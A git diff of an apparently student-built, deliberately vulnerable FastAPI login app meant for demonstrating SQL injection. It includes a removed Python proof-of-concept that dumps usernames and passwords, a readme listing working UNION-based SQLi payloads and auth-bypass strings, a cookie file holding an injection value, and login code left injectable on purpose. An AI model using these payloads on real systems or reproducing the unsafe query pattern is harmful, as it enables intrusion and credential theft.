Compare commits

..

7 Commits

Author SHA1 Message Date
06900e2768 removed unused endpoint 2025-12-16 01:55:09 +10:00
a24c1f0957 unfixing safe code 2025-12-16 01:51:19 +10:00
3086d1801d minimal visual improvements 2025-12-15 23:07:46 +10:00
5c4590ff16 vunerability added 2025-12-15 23:05:11 +10:00
c7d8803795 table creation added 2025-12-15 22:44:12 +10:00
9a1b84c267 minimal building container 2025-12-15 22:27:26 +10:00
d3e5abbc98 added readme (seems like i'm reaching my limits and getting tired) 2025-12-15 21:10:41 +10:00
31 changed files with 111 additions and 88 deletions

1
.gitignore vendored
View File

@@ -1,3 +1,4 @@
build
.vscode
**__pycache__
data

Binary file not shown.

Before

Width:  |  Height:  |  Size: 27 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 31 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 145 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 62 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 11 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 11 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 13 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 28 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 28 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 41 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 28 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 27 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 25 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 26 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 22 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 35 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 89 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 46 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 47 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 386 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 46 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 33 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 23 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 78 KiB

1
build
View File

@@ -1 +0,0 @@
docker build -t kulesh_web-app:v0.0.1a .

View File

@@ -1,7 +1,7 @@
services:
vunerable-web-app1:
vunerable-web-app:
image: kulesh_web-app:v0.0.1a
ports:
- "21252:8000"
- "80:8000"
volumes:
- ./data/:/app/data

6
cookies.txt Normal file
View File

@@ -0,0 +1,6 @@
# Netscape HTTP Cookie File
# https://curl.se/docs/http-cookies.html
# This file was generated by libcurl! Edit at your own risk.
localhost FALSE / FALSE 0 password a
localhost FALSE / FALSE 0 login "' or 1=1-- "

39
poc.py
View File

@@ -1,39 +0,0 @@
#!/usr/bin/env python3
import requests
import re
import argparse
parser = argparse.ArgumentParser(description="Exploit script for extracting logins and passwords.")
parser.add_argument("--base-url", default="http://localhost:80", help="Base URL of the target application")
args = parser.parse_args()
BASE_URL = args.base_url
login_payload = "' UNION SELECT login FROM (Select * from users ORDER BY id)--"
form_data = {"login": login_payload, "password": "' OR 1=1--"}
response_logins = requests.post(f"{BASE_URL}/login", data=form_data, allow_redirects=True)
logins_raw = re.search(r"<h1>Привет,\s*([^<]*)</h1>", response_logins.text).group(1)
logins= logins_raw.split("',), ('")
passwords=[]
for login in logins:
password_payload = f"' UNION SELECT password FROM (Select * from users WHERE login='{login}')--"
form_data = {"login": password_payload, "password": "' OR 1=1--"}
response_password = requests.post(f"{BASE_URL}/login", data=form_data, allow_redirects=True)
password = re.search(r"<h1>Привет,\s*([^<]*)</h1>", response_password.text).group(1)
passwords.append(password)
if logins and passwords:
for i, (login, password) in enumerate(zip(logins, passwords)):
if login == "Administrator":
print(f"{'*' * 60}")
print(f" {i+1}. Логин: {login:<20} Пароль: {password} <-- !!! ВАЖНО !!!")
print(f"{'*' * 60}")
else:
print(f" {i+1}. Логин: {login:<20} Пароль: {password}")
else:
print("Не удалось извлечь данные.")

138
readme.md
View File

@@ -1,54 +1,112 @@
!! Скриншоты без подписей, пожалуйста смотрите документ в yonote
# Kulesh_Web_app - Уязвимое веб-приложение
К сожалениюя я не любитель PHP, так что всё будет на питоне (Fastapi)
Это уязвимое веб-приложение создано для демонстрации SQL-инъекций и других веб-уязвимостей. Приложение написано на Python с использованием FastAPI.
# PC-Seq-Exam-WebApp
## Функциональность приложения
## Сборка
- ✅ Регистрация пользователей
- ✅ Авторизация пользователей
- ✅ Cookie-аутентификация
- ✅ Страница приветствия для авторизованных пользователей
- ✅ Docker-контейнеризация
```sh
## Сборка и запуск
### Сборка Docker-образа
```bash
docker build -t kulesh_web-app:v0.0.1a .
```
## Запуск
```sh
docker compose up -d
```
## Регистрация через curl
### Запуск приложения
```bash
curl -X POST http://10.254.252.100:801/register -d "login=Administrator&password=protected_by_sheer_will" -L
curl -X POST http://10.254.252.100:801/register -d "login=Kulesh_AB&password=bibaIboba2aboba" -L
```
## SQLi
в бреду намаслал Proof Of Concept
он мало что проверяет, но как я понял рабоатет, быть может за исклбчением когда
пользователь очень любит скобочки кавычки и пробелы)
для запуска ставим requests,
```pip install requests```
в помошь)
```sh
python ./poc.py --base-url http://aboba.eu
```
допустм что 2 пользователя зарегались с посмошью команд выше
```
./poc.py
************************************************************
1. Логин: Administrator Пароль: protected_by_sheer_will <-- !!! ВАЖНО !!!
************************************************************
2. Логин: Kulesh_AB Пароль: bibaIboba2aboba
docker compose up
```
Приложение будет доступно по адресу: http://localhost:8000
Выполнил Кулеш А.Б.
Б9123-09.03.04
## Работа с CURL
---
Он постоянно что-то ест, он постоянно что-то пьёт
### Регистрация пользователя Administrator
```bash
curl -X POST -d "login=Administrator&password=admin123" http://localhost:8000/register
```
Он быстро набирает вес, клянётся, что в спортзал пойдёт
### Регистрация пользователя Kulesh_AS
```bash
curl -X POST -d "login=kulesh_as&password=mypass123" http://localhost:8000/register
```
### Авторизация через CURL
```bash
curl -X POST -d "login=Administrator&password=admin123" -c cookies.txt http://localhost:8000/login
```
### Доступ к защищенной странице
```bash
curl -b cookies.txt http://localhost:8000/welcome
```
## ЭКСПЛУАТАЦИЯ УЯЗВИМОСТЕЙ
### SQL-инъекция через форму авторизации
Приложение содержит критическую SQL-инъекцию в формах регистрации и авторизации. Уязвимый код:
```python
cursor.execute(f"SELECT * FROM users WHERE login='{login}' AND password='{password}'")
```
Данные пользователя напрямую подставляются в SQL-запрос без экранирования, что позволяет выполнять произвольные SQL-команды.
### Базовый обход аутентификации
**Payload для поля login:**
```sql
' OR 1=1--
```
**Поле password:** (любое значение)
Этот payload закомментирует проверку пароля и войдет как первый пользователь в базе.
### Извлечение информации о базе данных
#### 1. Получение списка подключенных файлов БД:
```sql
' UNION SELECT 1, group_concat(name || ':' || file), 3 FROM pragma_database_list --
```
#### 2. Получение списка пользовательских таблиц:
```sql
' UNION SELECT 1, group_concat(name), 3 FROM sqlite_master WHERE type='table' AND name NOT LIKE 'sqlite_%' --
```
#### 3. Получение схем всех таблиц:
```sql
' UNION SELECT 1, group_concat(sql, char(10) || char(10)), 3 FROM sqlite_master WHERE type='table' --
```
#### 4. Извлечение всех пользователей и паролей:
```sql
' UNION SELECT id, login, password FROM users --
```
#### 5. Получение данных конкретного пользователя Administrator:
```sql
' UNION SELECT id, login, password FROM users WHERE login='Administrator' --
```
### Пошаговая эксплуатация
1. **Откройте форму входа:** http://localhost:8000/login
2. **Введите базовый payload для обхода аутентификации:**
- Login: `' OR 1=1--`
- Password: `test`
3. **Для извлечения данных используйте UNION-based инъекцию:**
- Login: `' UNION SELECT id, login, password FROM users --`
- Password: `test`
4. **В ответе на странице приветствия вы увидите данные всех пользователей**
Но продолжает что-то есть и продолжает что-то пить

View File

@@ -95,7 +95,7 @@ async def login_form():
@app.post("/login")
async def login(login: str = Form(...), password: str = Form(...)):
cursor.execute(
f"SELECT login FROM users WHERE login='{login}' AND password='{password}'"
f"SELECT * FROM users WHERE login='{login}' AND password='{password}'"
)
user = cursor.fetchall()
if user:
@@ -124,10 +124,8 @@ async def welcome(request: Request):
password = request.cookies.get("password")
if not login or not password:
return RedirectResponse(url="/login")
query=f"SELECT login FROM users WHERE login='{login}' AND password='{password}'"
print(f"executing: {query}")
cursor.execute(
query
f"SELECT login FROM users WHERE login='{login}' AND password='{password}'"
)
user = cursor.fetchall()
if user:
@@ -135,7 +133,7 @@ async def welcome(request: Request):
<html>
<head><title>Добро пожаловать</title>{STYLES}</head>
<body>
<h1>Привет, {str(user)[3:-4]}</h1>
<h1>Привет, {user}</h1>
<button onclick="
document.cookie = 'login=; expires=Thu, 01 Jan 1970 00:00:00 UTC; path=/;';
document.cookie = 'password=; expires=Thu, 01 Jan 1970 00:00:00 UTC; path=/;';